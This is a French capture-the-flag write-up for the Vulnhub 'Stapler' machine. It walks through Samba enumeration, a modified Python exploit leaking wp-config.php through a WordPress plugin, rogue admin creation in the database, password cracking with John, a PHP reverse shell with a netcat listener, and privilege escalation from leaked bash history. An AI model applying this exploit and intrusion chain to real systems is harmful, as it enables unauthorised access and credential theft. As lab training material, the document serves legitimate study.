Stapler - Write Up
Reconnaissance
nmap -sS -A 192.168.43.28 port 21 vsftpd 2.0.8 anonymous login allowed port 22 ssh port 53 dnsmasq 2.75 port 80 http port 139 netbios-ssn Samba smbd 3.X workgroup RED port 666 doom? port 3306 mysql 5.7.12 port 12380 http
Exploitation Samba
On commence par lister les partages disponibles sur le samba :
smbclient -L 192.168.43.28 Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.3.9-Ubuntu] Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers kathy Disk Fred, What are we doing here? tmp Disk All temporary files should be stored here IPC$ IPC IPC Service (red server (Samba, Ubuntu)) Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.3.9-Ubuntu] Server Comment --------- ------- RED red server (Samba, Ubuntu) Workgroup Master --------- ------- WORKGROUP RED
On liste les fichiers présent dans le partage kathy :
smbclient \\\\192.168.43.28\\kathy smb: \> dir . D 0 Fri Jun 3 18:52:52 2016 .. D 0 Mon Jun 6 23:39:56 2016 kathy_stuff D 0 Sun Jun 5 17:02:27 2016 backup D 0 Sun Jun 5 17:04:14 2016 \kathy_stuff . D 0 Sun Jun 5 17:02:27 2016 .. D 0 Fri Jun 3 18:52:52 2016 todo-list.txt N 64 Sun Jun 5 17:02:27 2016 \backup . D 0 Sun Jun 5 17:04:14 2016 .. D 0 Fri Jun 3 18:52:52 2016 vsftpd.conf N 5961 Sun Jun 5 17:03:45 2016 wordpress-4.tar.gz N 6321767 Mon Apr 27 19:14:46 2015
On récupère le contenu de backup :
smb: \> mget backup\ getting file \backup\vsftpd.conf of size 5961 as vsftpd.conf (727,7 KiloBytes/sec) (average 727,7 KiloBytes/sec) getting file \backup\wordpress-4.tar.gz of size 6321767 as wordpress-4.tar.gz (22449,4 KiloBytes/sec) (average 21835,4 KiloBytes/sec) smb: \>
Exploitation web
Dans le fichier robots.txt :
User-agent: * Disallow: /admin112233/ Disallow: /blogblog/
Un wordpress est disponible dans le dossier :
http://192.168.43.28:12380/blogblog/
Avec l'outil wpscan on obtient les informations suivantes :
En cherchant un peut sur exploit-db on trouver cet exploit.
Il permet de récupérer le fichier wp-config.php dans une image
On le modifie pour notre usage :
import ssl import random import urllib2 import re ssl._create_default_https_context = ssl._create_unverified_context url = "https://192.168.43.28:12380/blogblog" # insert url to wordpress randomID = long(random.random() * 100000000000000000L) objHtml = urllib2.urlopen(url + '/wp-admin/admin-ajax.php?action=ave_publishPost&title=' + str(randomID) + '&short=rnd&term=rnd&thumb=../wp-config.php') content = objHtml.readlines() for line in content: numbers = re.findall(r'\d+',line) id = numbers[-1] id = int(id) / 10 objHtml = urllib2.urlopen(url + '/?p=' + str(id)) content = objHtml.readlines() for line in content: if 'attachment-post-thumbnail size-post-thumbnail wp-post-image' in line: urls=re.findall('"(https?://.*?)"', line) print urllib2.urlopen(urls[0]).read()
Une fois exécuté , l'image est disponible dans le wp-content/uploads.
On la récupère :
wget https://192.168.43.28:12380/blogblog/wp-content/uploads/1505311909.jpeg --no-check-certificate
/** MySQL database username */ define('DB_USER', 'root'); /** MySQL database password */ define('DB_PASSWORD', 'plbkac');
On se connecte directement à la base de donnée avec l'outil : heidisql
On créé un nouvel utilisateur , on chiffre sont mot de passe en md5
Dans les wp_usermeta on modifie la ligne wp_capabilities pour être admin :
wp_capabilities a:1:{s:13:"administrator";b:1;}
On peut casser les autres mot de passes :
./john --wordlist=~/outils/wordlist/rockyou.txt ~/vulnhub/Stapler/cred Using default input encoding: UTF-8 Loaded 16 password hashes with 16 different salts (phpass [phpass ($P$ or $H$) 128/128 AVX 4x3]) Will run 8 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status cookie (scott) coolgirl (kathy) monkey (harry) football (garry) washere (barry) incorrect (John) thumb (tim) 0520 (Pam)
Pour mettre notre reverse shell sur le serveur : Dans l'onglet plugin on met : new
On upload notre reverseshell.php → il s'upload dans le dossier upload mais il n'est pas installé comme plugin
Pour y accéder https://192.168.43.28:12380/blogblog/wp-content/uploads/php-reverse-shell.php
On ouvre un netcat en écoute en local :
nc -lvp 1234
Exploitation système & Élévation de privilège
On chercher un .bash_history accessible :
find -name ".bash_history" -exec cat {} \; sshpass -p thisimypassword ssh JKanode@localhost apt-get install sshpass sshpass -p JZQuyIN5 peter@localhost
Super l'utilisateur à tapé son mot de passe en clair : JZQuyIN5
On se connecte en ssh avec l'user : peter
sudo -l l'utilisateur appartient au groupe root
On affiche le flag :
cat flag.txt ~~~~~~~~~~<(Congratulations)>~~~~~~~~~~ .-'''''-. |'-----'| |-.....-| | | | | _,._ | | __.o` o`"-. | | .-O o `"-.o O )_,._ | | ( o O o )--.-"`O o"-.`'-----'` '--------' ( o O o) `----------` b6b545dc11b7a270f4bad23432190c75162c4a2
Pour finir complètement la vm , j'ai cassé les mots de passes des autres utilisateurs :
L'outil unshadow de la suite John The Ripper permet de préparer les mots de passes à cracker pour john.
unshadow passwd shadow > cred_a_crack john cred_a_crack
Le résultat
password11 (SStroud) 1password (CCeaser) cookie (JBare) letmein (MFrei) qwerty (Drew) red (jamie) robrob (RNunemaker)